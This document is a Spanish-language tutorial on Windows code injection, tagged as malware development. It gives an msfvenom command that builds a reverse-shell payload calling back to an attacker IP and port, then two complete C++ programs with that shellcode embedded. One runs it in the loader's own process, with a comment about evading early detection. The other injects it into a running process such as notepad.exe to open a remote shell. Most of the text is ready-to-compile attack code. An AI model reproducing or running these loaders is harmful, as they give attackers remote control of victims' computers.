Técnicas de Inyección de Código en Aplicaciones Windows

Introducción a la Inyección de Código

La inyección de código es una técnica que permite insertar y ejecutar código malicioso dentro de un proceso en ejecución. Esto otorga a un atacante control sobre el proceso objetivo, facilitando la extracción de información confidencial, la ejecución de comandos arbitrarios o la manipulación del sistema. Se emplean diversos métodos, como el aprovechamiento de vulnerabilidades, el uso de hooks de API o la inyección de DLLs, para infiltrar código en la memoria de procesos activos.

Entorno de Demonstración

Para este ejemplo, se utiliza una máquina virtual con Kali Linux como sistema atacante (dirección IP 172.18.53.24) y un sistema Windows 10 físico como víctima (dirección IP 172.18.53.14).

Generación y Depuración del Payload

Primero, se genera un payload de shell inverso en la máquina atacante utilizendo msfvenom. Este payload se crea para arquitectura x64 de Windows, configurando la dirección IP del atacante (LHOST=172.18.53.24) y un puerto de escucha (LPORT=4444). El comando es:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=172.18.53.24 LPORT=4444 -f c

El código en C++ para depurar y ejecutar el payload sigue una secuencia lógica:

  1. Asignar un búfer de memoria en el espacio de direcciones virtual del proceso.
  2. Copiar el contenido del payload al búfer asignado.
  3. Modificar los permisos de memoria del búfer para permitir la ejecución.
  4. Ejecutar el payload mediante la creación de un nuevo hilo.

Se utilizan las siguientes funciones de la API de Windows:

  • VirtualAlloc: Reserva un bloque de memoria en el proceso actual.
  • RtlMoveMemory: Copia datos entre ubicaciones de memoria.
  • VirtualProtect: Cambia los atributos de protección de una región de memoria.
  • CreateThread: Inicia la ejecución de un nuevo hilo en el proceso.

A continuación, se presenta el código refactorizado con nombres de variables y estructura modificados, pero manteniendo la funcionalidad original:

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// Payload de ejemplo (shell inverso)
unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
                            "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
                            "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
                            "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
                            "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
                            "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
                            "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
                            "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
                            "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
                            "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
                            "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
                            "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
                            "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
                            "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
                            "\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
                            "\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\xac\x12\x35\x18\x41\x54"
                            "\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
                            "\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
                            "\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
                            "\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
                            "\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
                            "\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
                            "\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
                            "\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
                            "\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
                            "\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
                            "\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
                            "\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
                            "\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
                            "\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
                            "\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

// Tamaño del payload
unsigned int payload_size = sizeof(shellcode);

int main() {
    void *allocated_memory;
    BOOL protection_changed;
    HANDLE thread_handle;
    DWORD previous_protection = 0;

    // Asignar memoria con permisos de lectura/escritura para evitar detección temprana
    allocated_memory = VirtualAlloc(NULL, payload_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!allocated_memory) {
        printf("Error al asignar memoria.\n");
        return 1;
    }

    // Copiar el payload a la memoria asignada
    RtlMoveMemory(allocated_memory, shellcode, payload_size);

    // Cambiar permisos a ejecutable y solo lectura
    protection_changed = VirtualProtect(allocated_memory, payload_size, PAGE_EXECUTE_READ, &previous_protection);
    if (protection_changed) {
        // Crear hilo para ejecutar el payload
        thread_handle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)allocated_memory, NULL, 0, NULL);
        if (thread_handle) {
            WaitForSingleObject(thread_handle, INFINITE);
            CloseHandle(thread_handle);
        }
    }

    return 0;
}

Al compilar y ejecutar este código en la máquina víctima, con el atacante escuchando en el puerto 4444, se observa una conexión de shell inverso. Herramientas como Process Hacker permiten verificar las conexiones de red y el módulo ws2_32.dll cargado en la memoria.

Inyección de Código en un Proceso Remoto

Para inyectar código en un proceso existente, como el Bloc de notas (notepad.exe), se siguen estos pasos:

  1. Obtener un identificador al proceso objetivo.
  2. Reservar memoria dentro del espacio de direcciones del proceso remoto.
  3. Escribir el payload en la memoria reservada.
  4. Crear un hilo remoto para ejecutar el payload.

Se emplean funciones adicionales de la API de Windows:

  • OpenProcess: Abre un proceso existente con los permisos necesarios.
  • VirtualAllocEx: Asigna memoria en la dirección virtual de otro proceso.
  • WriteProcessMemory: Escribe datos en la memoria de un proceso externo.
  • CreateRemoteThread: Crea un hilo en un proceso remoto.

El código adaptado para esta técnica, con cambios en la lógica y nombres de variables:

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// Payload (igual al anterior, pero representado como buffer local)
unsigned char embedded_payload[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
                                   "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
                                   "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
                                   "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
                                   "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
                                   "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
                                   "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
                                   "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
                                   "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
                                   "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
                                   "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
                                   "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
                                   "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
                                   "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
                                   "\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
                                   "\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\xac\x12\x35\x18\x41\x54"
                                   "\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
                                   "\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
                                   "\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
                                   "\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
                                   "\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
                                   "\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
                                   "\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
                                   "\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
                                   "\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
                                   "\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
                                   "\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
                                   "\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
                                   "\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
                                   "\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
                                   "\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

unsigned int payload_length = sizeof(embedded_payload);

int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("Uso: %s <PID_del_proceso_objetivo>\n", argv[0]);
        return 1;
    }

    DWORD target_pid = atoi(argv[1]);
    HANDLE process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, target_pid);
    if (!process_handle) {
        printf("No se pudo abrir el proceso con PID %u.\n", target_pid);
        return 1;
    }

    // Reservar memoria en el proceso remoto con permisos de ejecución
    LPVOID remote_buffer = VirtualAllocEx(process_handle, NULL, payload_length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!remote_buffer) {
        printf("Error al asignar memoria remota.\n");
        CloseHandle(process_handle);
        return 1;
    }

    // Escribir el payload en la memoria del proceso objetivo
    SIZE_T bytes_written;
    BOOL write_success = WriteProcessMemory(process_handle, remote_buffer, embedded_payload, payload_length, &bytes_written);
    if (!write_success || bytes_written != payload_length) {
        printf("Error al escribir en la memoria remota.\n");
        VirtualFreeEx(process_handle, remote_buffer, 0, MEM_RELEASE);
        CloseHandle(process_handle);
        return 1;
    }

    // Crear un hilo remoto para ejecutar el payload
    HANDLE remote_thread = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE)remote_buffer, NULL, 0, NULL);
    if (!remote_thread) {
        printf("Error al crear el hilo remoto.\n");
    } else {
        WaitForSingleObject(remote_thread, INFINITE);
        CloseHandle(remote_thread);
    }

    // Limpieza de recursos
    VirtualFreeEx(process_handle, remote_buffer, 0, MEM_RELEASE);
    CloseHandle(process_handle);

    return 0;
}

Para ejecutar este código, se identifica el PID del proceso objetivo (por ejemplo, notepad.exe) y se pasa como argumento. Con el atacante escuchando en el puerto 4444, se produce una conexión de shell inverso desde el proceso inyectado. Herramientas de análisis de procesos pueden mostrar las conexiones de red activas y la presencia de módulos como ws2_32.dll en la memoria del proceso comprometido.

Etiquetas: Windows API C++ Code Injection Malware Development VirtualAlloc

Publicado el 6-3 00:55